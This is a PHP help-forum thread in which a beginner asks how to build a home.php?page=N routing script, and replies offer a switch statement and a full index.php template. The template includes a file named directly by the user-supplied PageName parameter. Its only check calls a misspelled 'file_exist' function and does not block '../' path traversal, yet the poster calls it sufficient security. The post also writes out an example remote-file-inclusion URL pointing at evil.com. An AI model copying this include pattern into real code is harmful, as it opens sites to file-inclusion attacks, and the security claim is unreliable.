Make a page=2 script

Ascendancy

Can somebody explain how to make a page= type of script, I have no idea where to start. Say I wanted a page called home.php, then I wanted a page that would be home.php?page=2, or home.php?page=3? Is this relatively easy to do? Any help would be greatly appreciated.

Weedpacket

So what's page=2 and page=3 supposed to do?

Given your question:

home.php

if(isset($_GET['page']))
{
    switch($_GET['page'])
    {
    case 2:
       // Do something for page 2
       break;
    case 3:
       // Do something for page 3
       break;
    }
}
// Do whatever if there is no page=

Ascendancy

Well let's say that a div on the page with a class of "maincontent", and the contents of that section change from page to page.

Installer

For the problem as you've given it, I'd say Weedpacket's answer is about the best you can expect.

teamatomic

<?php
$PageName = $_GET['PageName'];
if ($PageName == ''){$PageName = 'index';}
//
include('includes/config.php');
if (!file_exist("$ContentPath/$PageName.php")){$PageName = 'index';}
include('includes/header.php');
?>

<table class = "main_table" cellpadding="0" cellspacing="0" border="0" align="center" valign="top" width="90%">
<tr>
<td align="left" valign="middle" class="header">
<?php   

include('includes/content/header.php');  

?>
</td>
<td align="right" valign="middle" class="header">
<?php   

include('includes/content/header_ad.php');  

?>
</td>
</tr></table>

<table class = "main_table" cellpadding="0" cellspacing="0" border="0" align="center" valign="top" width="90%">
<tr>
<td width="200" valign="top" class="menu">
 <?php
include("includes/menu.php")
?> 
</td>

<td class="middle" valign="top">
 <?php
include("$ContentPath/$PageName.php")
?>
</td>

</tr><tr>

<td colspan="2" align="center" valign="middle" id="footer">
<?php
include("includes/content/footer.php")
?>
</td>

</tr></table> 

</body>
</html>

The page above is named index.php
it is used like this
http://domain.com/index.php?PageName=about

The content is stored at includes/content or where ever you want and would be named about.php might look like this

<p>
About our great <b>ABC Company</b>
<p>
We have been the greatest and bestest Company you can never ever not have found without the Internet. Our Inglish isnt ggod but our hicktype product is great.
<p>
You can email us at <?=$contact_email?>
<p>

Note: in the middle cell where we include the contents we use the $ContentPath variable from the config file. This is a matter of security so someone cant do this:
http://domain.com/index.php?PageName=http://evil.com/delete_entire_web_site.php. The file_exist statement should be all that is really needed but another layer of security never hurts.

The menu file that is included would read the content folder and make menu links from the file names.

HTH

Ascendancy

Thanks so much for the post, that really helped me out so much. I've been trying to understand this for a while, and that cleared up a lot. I just had one more question though, not a big one.

What is the configuration file your talking about where the $ContentPath variable is stored?

sid

answer part 1:
line 5:

include('includes/config.php');

answer part 2:
see answer part 1

Ascendancy

Oh it's an actual PHP page, haha alright. So what else does that page contain, just the variables of the pages?

sid

Ascendancy wrote:
Oh it's an actual PHP page, haha alright. So what else does that page contain, just the variables of the pages?

for instance... teamatomic suggested that you set $ContentPath in there.

teamatomic

It contains base path and URL variables. It could also contain anything else you decided it needed. Paths and url's to folders the app uses/creates so maybe someone else can use other locations.

$URL = 'www.domain.com';
$path = '/home/we/are/here';
$appURL = "$URL/MyApp";
$apppath = "$path/MyApp";
$imgURL = "$URL/images";
$datapath = "$apppath/MyData";